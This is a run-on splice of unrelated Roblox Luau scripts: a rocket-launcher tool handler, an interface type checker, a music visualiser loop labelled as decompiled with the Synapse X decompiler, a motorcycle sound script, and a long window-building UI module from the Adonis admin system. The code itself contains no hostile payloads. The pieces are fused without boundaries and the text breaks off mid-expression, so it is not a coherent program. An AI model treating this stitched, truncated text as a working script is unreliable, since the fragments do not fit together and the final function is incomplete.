script.Parent.poopi.OnServerEvent:Connect(function() local myModel = MyPlayer.Character if Tool.Enabled and myModel and myModel:FindFirstChildOfClass("Humanoid") and myModel.Humanoid.Health > 0 then Tool.Enabled = false local Pos = MouseLoc:InvokeClient(MyPlayer) -- Create a clone of Rocket and set its color local rocketClone = Rocket:Clone() DebrisService:AddItem(rocketClone, 30) rocketClone.BrickColor = MyPlayer.TeamColor -- Position the rocket clone and launch! local spawnPosition = (ToolHandle.CFrame * CFrame.new(5, 0, 0)).p rocketClone.CFrame = CFrame.new(spawnPosition, Pos) --NOTE: This must be done before assigning Parent rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent rocketClone.Parent = workspace rocketClone:SetNetworkOwner(nil) wait(RELOAD_TIME) Tool.Enabled = true end end) function OnEquipped() MyPlayer = PlayersService:GetPlayerFromCharacter(Tool.Parent) end
--[[** ensures value matches given interface definition strictly @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]]
function t.strictInterface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess = t.table(value) if tableSuccess == false then return false end for key, check in pairs(checkTable) do local success = check(value[key]) if success == false then return false end end for key in pairs(value) do if not checkTable[key] then return false end end return true end end end
-- Decompiled with the Synapse X Luau decompiler.
while true do wait(); if workspace:FindFirstChild("Song") then break; end; end; while true do wait(); if script.Parent:FindFirstChild("Where") then break; end; end; while true do wait(); if script.Parent:FindFirstChild("Where").Value ~= nil then break; end; end; while wait() do if workspace.Song.PlaybackLoudness / 160 <= 7 then script.Parent.Where.Value.Size = NumberSequence.new(workspace.Song.PlaybackLoudness / 160); else script.Parent.Where.Value.Size = NumberSequence.new(7); end; end;
--[[ Novena Constraint Type: Motorcycle The Bike Chassis RikOne2 | Enjin --]]
local bike = script.Parent.Bike.Value local _Tune = require(bike["Tuner"]) local handler = bike:WaitForChild("AC6_Sound") local on = 0 local mult=0 local det=0 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 local SetPitch = .1 local SetRev = 1.8 local vol = .1 --Set the volume for everything below handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end --local client = service.GarbleTable(client) local Player = service.Players.LocalPlayer local Mouse = Player:GetMouse() local InputService = service.UserInputService local gIndex = data.gIndex local gTable = data.gTable local Event = gTable.BindEvent local GUI = gTable.Object local Name = data.Name local Icon = data.Icon local Size = data.Size local Menu = data.Menu local Title = data.Title local Ready = data.Ready local Walls = data.Walls local noHide = data.NoHide local noClose = data.NoClose local onReady = data.OnReady local onClose = data.OnClose local onResize = data.OnResize local onRefresh = data.OnRefresh local onMinimize = data.OnMinimize local ContextMenu = data.ContextMenu local ResetOnSpawn = data.ResetOnSpawn local CanKeepAlive = data.CanKeepAlive local iconClicked = data.IconClicked local SizeLocked = data.SizeLocked or data.SizeLock local CanvasSize = data.CanvasSize local Position = data.Position local Content = data.Content or data.Children local MinSize = data.MinSize or {150, 50} local MaxSize = data.MaxSize or {math.huge, math.huge} local curIcon = Mouse.Icon local isClosed = false local Resizing = false local Refreshing = false local DragEnabled = true local checkProperty = service.CheckProperty local specialInsts = {} local inExpandable local addTitleButton local LoadChildren local BringToFront local functionify local Drag = GUI.Drag local Close = Drag.Close local Hide = Drag.Hide local Iconf = Drag.Icon local Titlef = Drag.Title local Refresh = Drag.Refresh local rSpinner = Refresh.Spinner local Main = Drag.Main local Tooltip = GUI.Desc local ScrollFrame = GUI.Drag.Main.ScrollingFrame local LeftSizeIcon = Main.LeftResizeIcon local RightSizeIcon = Main.RightResizeIcon local RightCorner = Main.RightCorner local LeftCorner = Main.LeftCorner local RightSide = Main.RightSide local LeftSide = Main.LeftSide local TopRight = Main.TopRight local TopLeft = Main.TopLeft local Bottom = Main.Bottom local Top = Main.Top local function RippleEffect(element) spawn(function() element.ClipsDescendants = true local effect = create("ImageLabel", { Parent = element, AnchorPoint = Vector2.new(0.5, 0.5), BorderSizePixel = 0, ZIndex = element.ZIndex + 1, BackgroundTransparency = 0.5, ImageTransparency = 0.8, Image = "rbxasset://textures/whiteCircle.png", Position = UDim2.new(0.5, 0, 0.5, 0), }) effect:TweenSize(UDim2.new(0, element.AbsoluteSize.X * 2.5, 0, element.AbsoluteSize.X * 2.5), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.2) wait(0.2) effect:Destroy() end) end local clickSound = service.New("Sound") clickSound.Parent = GUI.Drag clickSound.Volume = 0.4 clickSound.SoundId = "rbxassetid://6706935653" Main.DescendantAdded:Connect(function(child) if child:IsA("TextButton") and not child:FindFirstChildOfClass("UIGradient") then local gradient = Instance.new("UIGradient", child) gradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0,Color3.new(1,1,1)),ColorSequenceKeypoint.new(1,Color3.fromRGB(80,80,80))} --[[create("ImageLabel", { BackgroundTransparency = 1; ImageTransparency = 0.5; Image = "rbxassetid://456420746"; -- For dusty Aero :] Size = UDim2.new(1, 0, 1, 0); Parent = child; ZIndex = 2 })]] end end) function Expand(ent, point, text) local label = point:FindFirstChild("Label") if label then ent.MouseLeave:Connect(function(x,y) if inExpandable == ent then point.Visible = false end end) ent.MouseMoved:Connect(function(x,y) inExpandable = ent label.Text = text or ent.Desc.Value --point.Size = UDim2.new(0, 10000, 0, 10000) local newx = 500 local bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X local rows = math.floor(bounds/500) rows = rows+1 if rows<1 then rows = 1 end if bounds<500 then newx = bounds end point.Size = UDim2.new(0, newx+10, 0, (rows*20)+10) point.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10)) point.Visible = true end) end end function getNextPos(frame) local farXChild, farYChild for i,v in next,frame:GetChildren() do if checkProperty(v, "Size") then if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then farXChild = v end if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then farYChild = v end end end return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y) end function LoadChildren(Obj, Children) if Children then local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj) for class,data in next,Children do if type(data) == "table" then if not data.Parent then data.Parent = Obj end create(data.Class or data.ClassName or class, data) elseif type(data) == "function" or type(data) == "string" and not runWhenDone then runWhenDone = functionify(data, Obj) end end if runWhenDone then runWhenDone(Obj) end end end function BringToFront() for i,v in ipairs(Player.PlayerGui:GetChildren()) do if v:FindFirstChild("__ADONIS_WINDOW") then v.DisplayOrder = 100 end end GUI.DisplayOrder = 101 end function addTitleButton(data) local startPos = 1 local realPos local new local original = Hide if Hide.Visible then startPos = startPos+1 end if Close.Visible then startPos = startPos+1 end if Refresh.Visible then startPos = startPos+1 end realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 3) data.Position = data.Position or realPos data.Size = data.Size or original.Size data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3 data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel data.ZIndex = data.ZIndex or original.ZIndex data.TextColor3 = data.TextColor3 or original.TextColor3 data.TextScaled = data.TextScaled or original.TextScaled data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3 data.TextSize = data.TextSize or original.TextSize data.TextTransparency = data.TextTransparency or original.TextTransparency data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency data.TextScaled = data.TextScaled or original.TextScaled data.TextWrapped = data.TextWrapped or original.TextWrapped --data.TextXAlignment = data.TextXAlignment or original.TextXAlignment --data.TextYAlignment = data.TextYAlignment or original.TextYAlignment data.Font = data.Font or original.Font data.Parent = Drag local newTitleButton = create("TextButton", data) create("UICorner", {CornerRadius = UDim.new(0,4);Parent = newTitleButton}) newTitleButton.MouseButton1Down:Connect(function() RippleEffect(newTitleButton) end) return newTitleButton end function functionify(func, object) if type(func) == "string" then if object then local env = GetEnv() env.Object = object return client.Core.LoadCode(func, env) else return client.Core.LoadCode(func) end else return func end end function create(class, dataFound, existing) local data = dataFound or {} local class = data.Class or data.ClassName or class local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class) local parent = data.Parent or new.Parent if dataFound then data.Parent = nil if data.Class or data.ClassName then data.Class = nil data.ClassName = nil end if not data.BorderColor3 and checkProperty(new,"BorderColor3") then new.BorderColor3 = dBorder end if not data.CanvasSize and checkProperty(new,"CanvasSize") then new.CanvasSize = dCanvasSize end if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then new.BorderSizePixel = dPixelSize end if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then new.BackgroundColor3 = dBackground end if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then new.PlaceholderColor3 = dPlaceholderColor end if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then new.BackgroundTransparency = dTransparency elseif data.Transparency then new.BackgroundTransparency = data.Transparency end if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then new.TextColor3 = dTextColor elseif data.TextColor then new.TextColor3 = data.TextColor end if not data.Font and checkProperty(new, "Font") then data.Font = dFont end if not data.TextSize and checkProperty(new, "TextSize") then data.TextSize = dTextSize end if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then new.BottomImage = dScrollImage new.MidImage = dScrollImage new.TopImage = dScrollImage end if not data.Size and checkProperty(new,"Size") then new.Size = dSize end if not data.Position and checkProperty(new,"Position") then new.Position = dPosition end if not data.ZIndex and checkProperty(new,"ZIndex") then new.ZIndex = dZIndex if parent and checkProperty(parent, "ZIndex") then new.ZIndex = parent.ZIndex end end if data.TextChanged and class == "TextBox" then local textChanged = functionify(data.TextChanged, new) new.FocusLost:Connect(function(enterPressed) textChanged(new.Text, enterPressed, new) end) end if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then local debounce = false; local doDebounce = data.Debounce; local onClick = functionify((data.OnClicked or data.OnClick), new) new.MouseButton1Down:Connect(function() if not debounce then if doDebounce then debounce = true end RippleEffect(new) onClick(new); debounce = false; end end) end if data.Events then for event,func in pairs(data.Events) do local realFunc = functionify(func, new) Event(new[event], function(...) realFunc(...) end) end end if data.Visible == nil then data.Visible = true end if data.LabelProps then data.LabelProperties = data.LabelProps end end if class == "Entry" then local label = new.Text local dots = new.Dots local desc = new.Desc label.ZIndex = data.ZIndex or new.ZIndex dots.ZIndex = data.ZIndex or new.ZIndex if data.Text then new.Text.Text = data.Text new.Text.Visible = true data.Text = nil end if data.Desc or data.ToolTip then new.Desc.Value = data.Desc or data.ToolTip data.Desc = nil end Expand(new, Tooltip) else if data.ToolTip then Expand(new, Tooltip, data.ToolTip) end end if class == "ButtonEntry" then local button = new.Button local debounce = false local onClicked = functionify(data.OnClicked, button) new:SetSpecial("DoClick",function() if not debounce then debounce = true if onClicked then onClicked(button) end debounce = false end end) new.Text = data.Text or new.Text button.ZIndex = data.ZIndex or new.ZIndex button.MouseButton1Down:Connect(function() clickSound:Play() RippleEffect(new) new.DoClick() end) end if class == "Boolean" then local enabled = data.Enabled local debounce = false local onToggle = functionify(data.OnToggle, new) local function toggle(isEnabled) if not debounce then debounce = true if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then enabled = false new.Text = "Disabled" elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then enabled = true new.Text = "Enabled" end if onToggle then onToggle(enabled, new) end debounce = false end end --new.ZIndex = data.ZIndex new.Text = (enabled and "Enabled") or "Disabled" new.MouseButton1Down:Connect(function() if onToggle then clickSound:Play() RippleEffect(new) toggle() end end) new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end) end if class == "StringEntry" then local box = new.Box local ignore new.Text = data.Text or new.Text box.ZIndex = data.ZIndex or new.ZIndex if data.BoxText then box.Text = data.BoxText end if data.BoxProperties then for i,v in next,data.BoxProperties do if checkProperty(box, i) then box[i] = v end end end if data.TextChanged then local textChanged = functionify(data.TextChanged, box) box.Changed:Connect(function(p) if p == "Text" and not ignore then textChanged(box.Text) end end) box.FocusLost:Connect(function(enter) local change = textChanged(box.Text, true, enter) if change then ignore = true box.Text = change ignore = false end end) end new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end) end if class == "Slider" then local mouseIsIn = false local posValue = new.Percentage local slider = new.Slider local bar = new.SliderBar local drag = new.Drag local moving = false local value = 0 local onSlide = functionify(data.OnSlide, new) bar.ZIndex = data.ZIndex or new.ZIndex slider.ZIndex = bar.ZIndex+1 drag.ZIndex = slider.ZIndex+1 drag.Active = true if data.Value then slider.Position = UDim2.new(0.5, -10, 0.5, -10) drag.Position = slider.Position end bar.InputBegan:Connect(function(input) if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then value = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position posValue.Value = value if onSlide then onSlide(value) end end end) drag.DragBegin:Connect(function() moving = true end) drag.DragStopped:Connect(function() moving = false drag.Position = slider.Position end) drag.Changed:Connect(function() if moving then value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) posValue.Value = value if onSlide then onSlide(value) end end end) new:SetSpecial("SetValue",function(ignore, newValue) if newValue and tonumber(newValue) then value = tonumber(newValue) posValue.Value = value slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position end end) end if class == "Dropdown" then local menu = new.Menu local downImg = new.Down local selected = new.dSelected local options = data.Options local curSelected = data.Selected or data.Selection local onSelect = functionify(data.OnSelection or data.OnSelect or function()end) local textProps = data.TextProperties local scroller = create("ScrollingFrame", { Parent = menu; Size = UDim2.new(1, 0, 1, 0); Position = UDim2.new(0, 0, 0, 0); BackgroundTransparency = 1; ZIndex = 100; }) menu.ZIndex = scroller.ZIndex menu.Parent = GUI menu.Visible = false menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100); menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3 if data.TextAlignment then selected.TextXAlignment = data.TextAlignment selected.Position = UDim2.new(0, 30, 0, 0); end if data.NoArrow then downImg.Visible = false end new:SetSpecial("MenuContainer", menu) new.Changed:Connect(function(p) if p == "AbsolutePosition" and menu.Visible then menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y) elseif p == "AbsoluteSize" or p == "Parent" then downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0); if data.TextAlignment == "Right" then downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2)) selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0); else downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2)) end selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0); if options and #options <= 6 then menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options); else menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6); scroller:ResizeCanvas(false, true); end end end) selected.ZIndex = new.ZIndex downImg.ZIndex = new.ZIndex if textProps then for i,v in next,textProps do selected[i] = v end end if options then for i,v in next,options do local button = scroller:Add("TextButton", { Text = " ".. tostring(v); Size = UDim2.new(1, -10, 0, 30); Position = UDim2.new(0, 5, 0, 30*(i-1)); ZIndex = menu.ZIndex; BackgroundTransparency = 1; OnClick = function() selected.Text = v; onSelect(v, new); menu.Visible = false end }) if textProps then for i,v in next,textProps do button[i] = v end end end if curSelected then selected.Text = curSelected else selected.Text = "No Selection" end local function showMenu() menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y) menu.Visible = not menu.Visible end selected.MouseButton1Down:Connect(function() clickSound:Play() RippleEffect(selected) showMenu() end) downImg.MouseButton1Down:Connect(function() RippleEffect(selected) showMenu() end) end end if class == "TabFrame" then local buttonsTab = {}; local buttons = create("ScrollingFrame", nil, new.Buttons) local frames = new.Frames local numTabs = 0 local buttonSize = data.ButtonSize or 60 new.BackgroundTransparency = data.BackgroundTransparency or 1 buttons.ZIndex = data.ZIndex or new.ZIndex frames.ZIndex = buttons.ZIndex new:SetSpecial("GetTab", function(ignore, name) return frames:FindFirstChild(name) end) new:SetSpecial("NewTab", function(ignore, name, data) local data = data or {} --local numChildren = #frames:GetChildren() local nextPos = getNextPos(buttons); local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize) local oTextTrans = data.TextTransparency local isOpen = false local disabled = false local tabFrame = create("ScrollingFrame",{ Name = name; Size = UDim2.new(1, 0, 1, 0); Position = UDim2.new(0, 0, 0, 0); BorderSizePixel = 0; BackgroundTransparency = data.FrameTransparency or data.Transparency; BackgroundColor3 = data.Color or dSecondaryBackground; ZIndex = buttons.ZIndex; Visible = false; }) local tabButton = create("TextButton",{ Name = name; Text = data.Text or name; Size = UDim2.new(0, textSize.X+20, 1, 0); ZIndex = buttons.ZIndex; Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0); TextColor3 = data.TextColor; BackgroundTransparency = 0.7; TextTransparency = data.TextTransparency; BackgroundColor3 = data.Color or dSecondaryBackground; BorderSizePixel = 0; }) tabFrame:SetSpecial("FocusTab",function() for i,v in next,buttonsTab do if isGui(v) then v.BackgroundTransparency = (v:IsDisabled() and 0.9) or 0.7 v.TextTransparency = (v:IsDisabled() and 0.9) or 0.7 end end for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end tabButton.BackgroundTransparency = data.Transparency or 0 tabButton.TextTransparency = data.TextTransparency or 0 tabFrame.Visible = true if data.OnFocus then data.OnFocus(true) end end) if numTabs == 0 then tabFrame.Visible = true tabButton.BackgroundTransparency = data.Transparency or 0 end tabButton.MouseButton1Down:Connect(function() if not disabled then tabFrame:FocusTab() end end) tabButton.Parent = buttons tabFrame.Parent = frames buttons:ResizeCanvas(true, false) tabFrame:SetSpecial("Disable", function() disabled = true; tabButton.BackgroundTransparency = 0.9; tabButton.TextTransparency = 0.9 end) tabFrame:SetSpecial("Enable", function() disabled = false; tabButton.BackgroundTransparency = 0.7; tabButton.TextTransparency = data.TextTransparency or 0; end) tabButton:SetSpecial("IsDisabled", function() return disabled; end) table.insert(buttonsTab, tabButton); numTabs = numTabs+1; return tabFrame,tabButton end) end if class == "ScrollingFrame" then local genning = false if not data.ScrollBarThickness then data.ScrollBarThickness = dScrollBar end new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom) local list = list or obj; local genHold = {} local entProps = labelProperties or {} genning = genHold new:ClearAllChildren() local num = 0 for i,v in next,list do local text = v; local desc; local color local richText; if type(v) == "table" then text = v.Text desc = v.Desc color = v.Color if v.RichTextAllowed or entProps.RichTextAllowed then richText = true end end local label = create("TextLabel",{ Text = " "..tostring(text); ToolTip = desc; Size = UDim2.new(1,-5,0,(entProps.ySize or 20)); Visible = true; BackgroundTransparency = 1; Font = "SourceSans"; TextSize = 18; TextStrokeTransparency = 0.8; TextXAlignment = "Left"; Position = UDim2.new(0,0,0,num*(entProps.ySize or 20)); RichText = richText or false; }) if color then label.TextColor3 = color end if labelProperties then for i,v in next,entProps do if checkProperty(label, i) then label[i] = v end end end if genning == genHold then label.Parent = new; else label:Destroy() break end num = num+1 if data.Delay then if type(data.Delay) == "number" then wait(data.Delay) elseif i%100 == 0 then wait(0.1) end end end new:ResizeCanvas(false, true, false, bottom, 5, 5, 50) genning = nil end) new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak) local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5 local newY, newX = 0,0 if not onX and not onY then onX = false onY = true end for i,v in next,new:GetChildren() do if v:IsA("GuiObject") then if onY then v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y) v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y) end if onX then v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset) v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset) end local yLower = v.Position.Y.Offset + v.Size.Y.Offset local xLower = v.Position.X.Offset + v.Size.X.Offset newY = math.max(newY, yLower) newX = math.max(newX, xLower) if modBreak then if i%modBreak == 0 then wait(1/60) end end end end if onY then new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding) end if onX then new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset) end if xMax then new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y) end if yMax then new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y) end end) if data.List then new:GenerateList(data.List) data.List = nil end end LoadChildren(new, data.Content or data.Children) data.Children = nil data.Content = nil for i,v in next,data do if checkProperty(new, i) then new[i] = v end end new.Parent = parent return apiIfy(new, data, class),data end function apiIfy(gui, data, class) local newGui = service.Wrap(gui) gui:SetSpecial("Object", gui) gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end) gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end) gui:SetSpecial("Add", function(ignore, class, data) if not data then data = class class = ignore end local new = create(class,data); new.Parent = gui; return apiIfy(new, data, class) end) gui:SetSpecial("Copy", function(ignore, class, gotData) local newData = {} local new for i,v in next,data do newData[i] = v end for i,v in next,gotData do newData[i] = v end new = create(class or data.Class or gui.ClassName, newData); new.Parent = gotData.Parent or gui.Parent; return apiIfy(new, data, class) end) return newGui end function doClose() if not isClosed then isClosed = true for _, thing in pairs(Drag:GetChildren()) do if thing ~= Main then thing:Destroy() end end Drag:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.15) Main.ClipsDescendants = true Main:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.15) wait(0.12) gTable:Destroy() end end function isVisible() return Main.Visible end local hideLabel = Hide:FindFirstChild("TextLabel") function doHide(doHide) local origLH = Hide.LineHeight if doHide or (doHide == nil and Main.Visible) then dragSize = Drag.Size Main.Visible = false Main.Glass.Parent = Drag Drag.BackgroundTransparency = Main.BackgroundTransparency Drag.BackgroundColor3 = Main.BackgroundColor3 Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset) if hideLabel then hideLabel.Icon.Image = "rbxassetid://3523249191" else Hide.Icon.Image = "rbxassetid://3523249191" end Hide.LineHeight = origLH gTable.Minimized = true elseif doHide == false or (doHide == nil and not Main.Visible) then Main.Visible = true Drag.Glass.Parent = Main Drag.BackgroundTransparency = 1 Drag.Size = dragSize or Drag.Size if hideLabel then hideLabel.Icon.Image = "rbxassetid://3523250728" else Hide.Icon.Image = "rbxassetid://3523250728" end Hide.LineHeight = origLH gTable.Minimized = false end if onMinimize then onMinimize(Main.Visible) end if Walls then wallPosition() end end function isInFrame(x, y, frame) if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then return true else return false end end function wallPosition() if gTable.Active then local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y if x < 0 then Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y < 0 then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0) end if x + abx > gx then Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y + ySize > gy then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize) end end end function setSize(newSize) if newSize and type(newSize) == "table" then if newSize[1] < 50 then newSize[1] = 50 end if newSize[2] < 50 then newSize[2] = 50 end Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset) Main.Size = UDim2.new(1,0,0,newSize[2]) end end function setPosition(newPos) if newPos and typeof(newPos) == "UDim2" then Drag.Position = newPos elseif newPos and type(newPos) == "table" then Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2]) elseif Size and not newPos then Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2) end end if Name then gTable.Name = Name if data.AllowMultiple ~= nil and data.AllowMultiple == false then local found, num = client.UI.Get(Name, GUI, true) if found then doClose() return nil end end end if Size then setSize(Size) end if Position then setPosition(Position) end if Title then Titlef.Text = Title end if CanKeepAlive or not ResetOnSpawn then gTable.CanKeepAlive = true GUI.ResetOnSpawn = false elseif ResetOnSpawn then gTable.CanKeepAlive = false GUI.ResetOnSpawn = true end if Icon then Iconf.Visible = true Iconf.Image = Icon end if CanvasSize then ScrollFrame.CanvasSize = CanvasSize end if noClose then Close.Visible = false Refresh.Position = Hide.Position Hide.Position = Close.Position end if noHide then Hide.Visible = false Refresh.Position = Hide.Position end if Walls then Drag.DragStopped:Connect(function() wallPosition() end) end if onRefresh then local debounce = false function DoRefresh() if not Refreshing then local done = false Refreshing = true spawn(function() while gTable.Active and not done do for i = 0,180,10 do rSpinner.Rotation = -i wait(1/60) end end end) onRefresh() wait(1) done = true Refreshing = false end end Refresh.MouseButton1Down:Connect(function() clickSound:Play() RippleEffect(Refresh) if not debounce then debounce = true DoRefresh() debounce = false end end) Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset) else Refresh.Visible = false end if iconClicked then Iconf.MouseButton1Down(function() clickSound:Play() RippleEffect(Iconf) iconClicked(data, GUI, Iconf) end) end if Menu then data.Menu.Text = "" data.Menu.Parent = Main data.Menu.Size = UDim2.new(1,-10,0,25) data.Menu.Position = UDim2.new(0,5,0,25) ScrollFrame.Size = UDim2.new(1,-10,1,-55) ScrollFrame.Position = UDim2.new(0,5,0,50) data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216) data.Menu.BorderSizePixel = 0 create("TextLabel",data.Menu) end if not SizeLocked then local startXPos = Drag.AbsolutePosition.X local startYPos = Drag.AbsolutePosition.Y local startXSize = Drag.AbsoluteSize.X local startYSize = Drag.AbsoluteSize.Y local vars = client.Variables local newIcon local inFrame local ReallyInFrame local function readify(obj) obj.MouseEnter:Connect(function() ReallyInFrame = obj end) obj.MouseLeave:Connect(function() if ReallyInFrame == obj then ReallyInFrame = nil end end) end --[[ readify(Drag) readify(ScrollFrame) readify(TopRight) readify(TopLeft) readify(RightCorner) readify(LeftCorner) readify(RightSide) readify(LeftSide) readify(Bottom) readify(Top) --]] function checkMouse(x, y) --// Update later to remove frame by frame pos checking if gTable.Active and Main.Visible then if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then inFrame = nil newIcon = nil elseif isInFrame(x, y, TopRight) then inFrame = "TopRight" newIcon = MouseIcons.TopRight elseif isInFrame(x, y, TopLeft) then inFrame = "TopLeft" newIcon = MouseIcons.TopLeft elseif isInFrame(x, y, RightCorner) then inFrame = "RightCorner" newIcon = MouseIcons.RightCorner elseif isInFrame(x, y, LeftCorner) then inFrame = "LeftCorner" newIcon = MouseIcons.LeftCorner elseif isInFrame(x, y, RightSide) then inFrame = "RightSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, LeftSide) then inFrame = "LeftSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, Bottom) then inFrame = "Bottom" newIcon = MouseIcons.Vertical elseif isInFrame(x, y, Top) then inFrame = "Top" newIcon = MouseIcons.Vertical else inFrame = nil newIcon = nil end else inFrame = nil end if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then if inFrame and newIcon then Mouse.Icon = newIcon client.Variables.MouseLockedBy = gTable elseif client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end end end local function inputStart(x, y) checkMouse(x, y) if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y end end local function inputEnd() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, 